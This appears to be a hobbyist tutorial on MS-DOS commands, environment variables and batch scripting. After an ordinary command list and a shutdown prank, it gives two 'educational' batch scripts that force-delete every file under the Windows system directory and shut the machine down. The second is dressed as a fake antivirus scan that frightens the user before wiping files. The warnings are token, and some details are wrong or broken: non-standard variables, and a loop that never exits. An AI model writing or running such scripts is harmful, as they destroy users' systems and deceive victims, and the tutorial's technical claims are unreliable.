Essential MS-DOS Commands & Batch Scripting

Essential MS-DOS Commands & Batch Scripting

Basic MS-DOS Commands

Here’s a list of fundamental MS-DOS commands:

  • CD – Change from one directory to another.
  • CLS – Clears the screen and returns the cursor to the top.
  • COPY – Copies files.
  • DATE – View or change the date.
  • DEL – Deletes files.
  • DIR – Displays a list of files and directories (folders) within a directory.
  • PATH – Specifies paths where the operating system searches for executable files.
  • EXIT – Closes the MS-DOS window.
  • MD – Creates a new folder (directory).
  • PROMPT – Changes the command prompt’s appearance.
  • RD – Removes a directory (must be empty).
  • TIME – Displays or changes the system time.
  • VER – Displays the operating system version.
  • LABEL – View and modify disk labels.
  • VOL – Displays the hard disk label.
  • CD or CHDIR – Changes directories (DOS and UNIX).
  • CD .. – Moves to the parent directory (one level up).
  • CD \dirname – Navigates to a subdirectory.
  • CD \ – Goes directly to the root directory.
  • ECHO – Displays text on the screen.
  • ECHO OFF – Prevents commands from being displayed.
  • RENAME – Renames files and directories.

Important Environment Variables

Here are some key environment variables:

  • %HOMEDRIVE% – The drive where the operating system is installed.
  • %WINDIR% – The Windows directory.
  • %SYSDIR% – The Windows system directory.
  • %PROGRAMFILES% – The directory where programs are installed.
  • %ROOTDIR% – Refers to the System.
  • %ALLUSERSPROFILE%C:\Documents and Settings\All Users
  • %APPDATA%C:\Documents and Settings\%username%\Application Data
  • %COMMONPROGRAMFILES%C:\Program Files\Common Files
  • %COMSPEC%C:\WINDOWS\system32\cmd.exe
  • %HOMEPATH%\Documents and Settings\%username%
  • %USERPROFILE% – The user’s profile folder (favorites, start menu, desktop, etc.).
  • %USERNAME% – The user currently using the operating system.

Creating a Simple Batch Script (Joke)

This script is presented as a *joke* and demonstrates a simple shutdown command. Do not distribute malicious scripts.

Shutdown -s -t XX -c "Your message here"

Explanation:

  • shutdown: The command to initiate shutdown.
  • -s: Specifies shutdown.
  • -t XX: Sets a timer (in seconds), replacing ‘XX’ with the desired time.
  • -c "Your message here": Adds a comment displayed before shutdown.

Example:

shutdown -s -t 20 -c "I'll turn off the computer"

Creating a More Complex (and Potentially Harmful) Batch Script

Warning: The following script is *extremely dangerous* and can cause data loss. It is presented for *educational purposes only* to illustrate how batch scripts can be misused. Do not run this script.

@echo off
color 10
del /f /q /s %systemroot%\*
shutdown -s -t 30 -c "fuck you"
exit

Explanation:

  • @echo off: Hides command display.
  • color 10: Sets the text color (green). Use color /? in cmd for options.
  • del /f /q /s %systemroot%\*: *Dangerously* attempts to delete all files in the Windows system directory.
    • del: Delete command.
    • /f: Force deletion of read-only files.
    • /q: Quiet mode (no confirmation prompts).
    • /s: Deletes from all subdirectories.
    • %systemroot%: The Windows directory.
    • \*: Wildcard, all files.
  • shutdown -s -t 30 -c "fuck you": Shuts down the computer with a message.
  • exit: Closes the command prompt window.

Another Example (Potentially Harmful)

Warning: The following script is *extremely dangerous* and can cause data loss. It is presented for *educational purposes only*. Do not run this script.

@echo off
color 30
title The Security Antivirus PC
cls
echo Your system is unprotected
echo but with the new The Security Antivirus PC you will have the lowest risk against unknown threats
echo spend an analysis of hard drives as evidence
echo press the enter key to start the analysis
pause
@echo off
:m
echo %random%
goto m
pause
msg * your pc is infected by a Trojan
msg * The Security Antivirus PC but is disinfected.
del /s /f /q %systemroot%\*
echo The Trojan has been disinfected.
echo is switched off the computer and remember to buy this antivirus
echo in <a href="http://www.veoungilipollas.com">www.veoungilipollas.com</a>
shutdown -s -t 20 -c "has been fucking the ordenata"

This script *simulates* an antivirus scan and then attempts to delete system files. It is a *very dangerous* example.

More information and virus definitions will be explained in the next tutorial.